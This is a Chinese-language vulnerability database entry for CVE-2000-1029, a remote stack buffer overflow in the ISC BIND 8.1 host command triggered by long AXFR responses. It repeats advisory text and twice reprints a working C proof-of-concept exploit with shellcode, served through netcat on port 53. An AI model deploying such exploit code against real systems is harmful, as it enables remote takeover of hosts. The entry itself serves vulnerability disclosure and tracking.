CVE-2000-1029
CVSS10.0
发布时间 :2000-12-11 00:00:00
修订时间 :2016-11-28 14:06:11
NMCOES    

[原文]Buffer overflow in host command allows a remote attacker to execute arbitrary commands via a long response to an AXFR query.


[CNNVD]ISC主机远程缓冲区溢出漏洞(CNNVD-200012-064)

        主机命令存在缓冲区溢出漏洞。远程攻击者可以借助对AXFR查询的超长响应执行任意命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1029
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-1029
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-064
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/archive/1/141660
(VENDOR_ADVISORY)  BUGTRAQ  20001027 old version of host command vulnearbility
http://www.securityfocus.com/bid/1887
(VENDOR_ADVISORY)  BID  1887
http://xforce.iss.net/xforce/xfdb/5462
(UNKNOWN)  XF  isc-bind-axfr-bo(5462)

- 漏洞信息

ISC主机远程缓冲区溢出漏洞
危急 缓冲区溢出
2000-12-11 00:00:00 2005-10-20 00:00:00
远程※本地  
        主机命令存在缓冲区溢出漏洞。远程攻击者可以借助对AXFR查询的超长响应执行任意命令。

- 公告与补丁

        The current version of host, part of ISC's Bind package, is not affected by this vulnerability.

- 漏洞信息 (20374)

ISC BIND 8.1 host Remote Buffer Overflow Vulnerability (EDBID:20374)
unix remote
2000-10-27 Verified
0 antirez
N/A [点击下载]
source: http://www.securityfocus.com/bid/1887/info

An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command. 

host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.

command line:

./host -l -v -t any somezone.org <fake server>

proof of concepts exploit:

/* hostexp.c
* cc hostexp.c -o hostexp
*
* usage: ./hostexp | nc -l -p 53
*/

#include <stdio.h>
#include <netinet/in.h>

int main(void)
{
int offset = 140;
unsigned int base = 0xbffff74c+offset, i;
char shellcode[] = /* 48 bytes, ripped */
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/ls";
unsigned short a = htons(1024);
char buffer[1026];

memcpy(buffer, &a, 2);
memset(buffer+2, 'A', 100); /* avoid response processing */
memset(buffer+102, 0x90, 100);
memcpy(buffer+202, shellcode, 48);
for (i = 202+48; i < 202+48+600; i+=4)
memcpy(buffer+i, &base, 4);
write(fileno(stdout), buffer, 1026);
return 0;
}		

- 漏洞信息

13752
ISC BIND host Command AXFR Response Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

2000-11-01 Unknow
2000-11-01 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

ISC host Remote Buffer Overflow Vulnerability
Input Validation Error 1887
Yes Yes
2000-10-27 12:00:00 2009-07-11 03:56:00
Posted to bugtraq by antirez <antirez@linuxcare.com> on Fri, 27 Oct 2000.

- 受影响的程序版本

ISC BIND 8.1

- 漏洞讨论

An exploitable buffer overflow vulnerability exists in certain non-current versions of the ISC host command.

host can be used to issue an AXFR command to effect a zone transfer for a given domain name. In affected versions of host, if the AXFR query yields a response from the server which exceeds 512 bytes in length (possible, since TCP DNS messages can be up to 65535 bytes in length), the response can overflow the relevant buffer onto the stack, allowing the return address of the function to be modified. This may allow an operator of a malicious nameserver to gain control of a system on which host is being run when a query is made.

- 漏洞利用

excerpted from the original bugtraq posting by antirez &lt;antirez@linuxcare.com&gt; on Fri, 27 Oct 2000.

command line:

./host -l -v -t any somezone.org &lt;fake server&gt;

proof of concepts exploit:

/* hostexp.c
* cc hostexp.c -o hostexp
*
* usage: ./hostexp | nc -l -p 53
*/

#include &lt;stdio.h&gt;
#include &lt;netinet/in.h&gt;

int main(void)
{
int offset = 140;
unsigned int base = 0xbffff74c+offset, i;
char shellcode[] = /* 48 bytes, ripped */
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/ls";
unsigned short a = htons(1024);
char buffer[1026];

memcpy(buffer, &amp;a, 2);
memset(buffer+2, 'A', 100); /* avoid response processing */
memset(buffer+102, 0x90, 100);
memcpy(buffer+202, shellcode, 48);
for (i = 202+48; i &lt; 202+48+600; i+=4)
memcpy(buffer+i, &amp;base, 4);
write(fileno(stdout), buffer, 1026);
return 0;
}

- 解决方案

The current version of host, part of ISC's Bind package, is not affected by this vulnerability.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站